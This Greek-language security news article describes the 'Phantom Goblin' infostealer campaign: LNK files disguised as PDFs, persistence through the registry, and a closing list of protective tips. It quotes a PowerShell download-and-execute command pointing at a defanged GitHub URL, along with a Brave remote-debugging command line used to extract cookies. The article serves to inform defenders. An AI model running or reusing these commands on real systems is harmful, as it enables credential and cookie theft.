Το Phantom Goblin παραδίδει stealer malware

Το Cyble Research and Intelligence Labs (CRIL) εντόπισε μια εξελιγμένη λειτουργία malware που ονομάζεται «Phantom Goblin» που χρησιμοποιεί παραπλανητικές τεχνικές social engineering για τη διανομή κακόβουλου λογισμικού infostealer.

Δείτε επίσης: GrassCall: Ψεύτικες συνεντεύξεις για εργασία διανέμουν malware

Η επίθεση ξεκινά με συνημμένα αρχεία RAR που περιέχουν κακόβουλα αρχεία συντόμευσης (LNK) μεταμφιεσμένα ως νόμιμα έγγραφα PDF. Κατά την εκτέλεση, αυτά τα αρχεία ενεργοποιούν μια σειρά από μυστικές λειτουργίες που έχουν σχεδιαστεί για να κλέβουν ευαίσθητα δεδομένα αποφεύγοντας τον εντοπισμό.

Η αλυσίδα μόλυνσης δείχνει πώς το κακόβουλο λογισμικό αξιοποιεί το PowerShell για λήψη και εκτέλεση πρόσθετων ωφέλιμων φορτίων από ένα αποθετήριο GitHub.

Μόλις εκτελεστεί, το κακόβουλο αρχείο LNK εκκινεί μια εντολή PowerShell που ανακτά και εκτελεί ένα απομακρυσμένο σενάριο: C:|Windows|System32|WindowsPowerShell|v1.0|powershell.exe -nop -w h -c iex(iwr ‘hxxps://raw.githubusercontent[.]com/eagle-1337/x/main/x’).

Αυτό το σενάριο καθιερώνει την επιμονή δημιουργώντας καταχωρίσεις μητρώου και κατεβάζει πολλαπλά αρχεία ωφέλιμου φορτίου σχεδιασμένα να μιμούνται νόμιμες εφαρμογές.

Δείτε ακόμα: Have I Been Pwned: 284 εκατ. λογαριασμοί κλάπηκαν μέσω info-stealer malware

Οι αναλυτές της Cyble σημείωσαν ότι το Phantom Goblin malware στοχεύει κυρίως προγράμματα περιήγησης ιστού και εργαλεία προγραμματιστών, τερματίζοντας αναγκαστικά τις διαδικασίες του προγράμματος περιήγησης για την εξαγωγή ευαίσθητων πληροφοριών όπως cookies, διαπιστευτήρια σύνδεσης και ιστορικό περιήγησης.

Επίσης, αξιοποιεί τις σήραγγες κώδικα του Visual Studio για τη δημιουργία μη εξουσιοδοτημένης απομακρυσμένης πρόσβασης, επιτρέποντας στους παράγοντες απειλών να ελέγχουν τα παραβιασμένα συστήματα χωρίς να ενεργοποιούν τις παραδοσιακές ειδοποιήσεις ασφαλείας.

Για να παρακάμψει τους μηχανισμούς ασφαλείας του προγράμματος περιήγησης, το κακόβουλο λογισμικό εκκινεί προγράμματα περιήγησης με ενεργοποιημένο τον απομακρυσμένο εντοπισμό σφαλμάτων χρησιμοποιώντας εντολές όπως “C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe” –remote-debugging-port=9222 –remote-allow-origins=* –headless “–user-data-dir=C:\Users\AppData\Local\BraveSoftware\Brave-Browser\User Data” –profile-directory=Default”.

Αυτή η τεχνική του επιτρέπει να εξάγει δεδομένα cookie χωρίς εντοπισμό από τον χρήστη.

Δείτε επίσης: Νέες καμπάνιες διανομής των info-stealer malware Lumma και ACR Stealer

Το Stealer Malware αναφέρεται σε έναν τύπο κακόβουλου λογισμικού που έχει σχεδιαστεί για να κλέβει προσωπικά δεδομένα, όπως πιστωτικές κάρτες, κωδικούς πρόσβασης, cookies προγράμματος περιήγησης και άλλες ευαίσθητες πληροφορίες από το σύστημα του χρήστη. Για να προστατευτείτε από stealer malware, ακολουθήστε τα παρακάτω μέτρα ασφαλείας:

• Αναβάθμιση Λογισμικού και Λογισμικό Antivirus
• Ασφαλείς Κωδικοί Πρόσβασης
• Προσοχή στα Phishing Emails και Sites
• Ασφαλή Περιήγηση στο Διαδίκτυο
• Χρήση Λογισμικού Anti-Spyware
• Αποφυγή Κακόβουλων Εφαρμογών και Αρχείων

Πηγή: cybersecuritynews